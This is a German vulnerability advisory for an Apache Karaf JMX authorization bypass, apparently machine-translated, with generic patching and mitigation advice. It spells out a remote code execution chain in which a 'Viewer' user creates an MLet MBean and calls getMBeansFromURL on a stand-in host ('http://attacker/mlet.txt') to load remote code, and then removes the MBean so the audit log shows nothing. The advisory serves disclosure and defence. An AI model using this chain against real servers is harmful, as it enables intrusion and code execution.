CVE-2026-92142

Beschreibung

Apache Karaf stellt einen von KarafMBeanServerGuard geschützten JMX MBeanServer zur Verfügung, der eine rollenbasierte Zugriffskontrolle (RBAC) für MBean-Operationen erzwingt, die über den entfernten JMX-Anschluss aufgerufen werden (RMI-Registrierung / Server, standardmäßig auf den Ports 1099 und 44444). Der Wächter ist als java.lang.Reflect implementiert. Proxy um den MBeanServer und leitet nur eine feste Liste von Betriebsnamen an die RBAC-Prüfung weiter, definiert in MBeanInvocationHandler#guarded: private final List guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"); Die MBean Lifecycle-Operationen MBeanServer#createMBean, #registerMBean und #unregisterMBean sind nicht in dieser Liste enthalten. Aufrufe zu diesen Methoden werden direkt an den zugrunde liegenden MBeanServer ohne jegliche Rollenüberprüfung weitergeleitet, unabhängig von den in etc/jmx.acl.*.cfg. konfigurierten Rollen. Daher kann jeder Benutzer, der sich gegenüber dem JMX-Endpunkt authentifizieren kann, einschließlich eines Benutzers, der nur die am wenigsten privilegierte "Viewer" -Rolle innehat, createMBean() aufrufen, um eine beliebige Klasse als MBean zu instanziieren, und unregistrMBean(), um sie danach ohne Autorisierungsprüfung und ohne Audit-Log-Eintrag wieder zu entfernen (Anmeldung in KarafMBeanServer). Guard tritt nur auf dem RBAC-Verweigerungspfad auf, den dieser Bypass nie erreicht. Dies ist wichtig, weil javax.management.loading. MLet, ein Standard JDK MBean, kann auf diese Weise instanziiert werden. MLet agiert als Remote-Classloader: seine getMBeansFromURL(URL)-Operation holt eine MLet-Textdatei von einer angreifergesteuerten URL und instanziiert und registriert die Klassen, die sie als neue MBeans in der Ziel-JVM auflistet. Das Erreichen dieser Operation geht immer noch durch KarafMBeanServerGuards bestehenden "invoke" Check, aber der Standard etc / jmx.acl.cfg gewährt die "Viewer" -Rolle für jeden Methodennamen, der mit der Wildcard-Regel "get * = Viewer" übereinstimmt, eine Heuristik, die für Read-only-Getter gedacht ist. Da "getMBeansFromURL" zufällig mit "get" beginnt, stimmt es auch mit dieser Regel überein, so dass eine Standardinstallation "Viewer"-Anrufern die Erlaubnis erteilt, sie ohne Karaf-spezifische ACL aufzurufen, die MLet überhaupt aufruft. In Kombination mit der createMBean-Lücke gibt dies einem "Viewer"-Rollen-JMX-Client einen Pfad zur Remote-Codeausführung für die Karaf-JVM: * Authentifizierung gegenüber JMX als jeder Benutzer mit jeder Rolle (z. B. "Viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) befindet sich nicht in GUARDED OPERATIONS, keine RBAC-Prüfung, MLet ist instantiiert und registriert. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) ist geschützt, aber der Methodenname stimmt mit der Standard-ACL-Regel "get* = viewer" überein. * Die entfernte .mlet-Datei wird abgerufen und die aufgelisteten Klassen werden als neue MBeans geladen und registriert, wobei von Angreifern bereitgestellter Code in der Karaf JVM ausgeführt wird. * mbs.unregisterMBean(objectName) kann verwendet werden, um das MLet nachträglich zu entfernen, auch nicht in GUARDED OPERATIONS, kein RBAC-Check, kein Audit-Trail. Der Fix fügt createMBean, registerMBean und unregisterMBean zur bewachten Operationsliste hinzu und löst die erforderlichen Rollen für sie aus dem jmx auf

Quellen & weiterführende Informationen

Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.

Was ist zur Behebung zu tun?

Herstellerhinweise prüfen und das betroffene Produkt kurzfristig patchen oder kompensierende Schutzmaßnahmen aktivieren.

Empfohlene Schritte

• Betroffene Systeme identifizieren: Apache Software Foundation karaf.
• Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
• Hersteller-Advisory öffnen und verfügbare Updates, Workarounds oder Deaktivierungen prüfen.
• Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.

Übergangsmaßnahmen

• Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
• WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
• Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
• Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.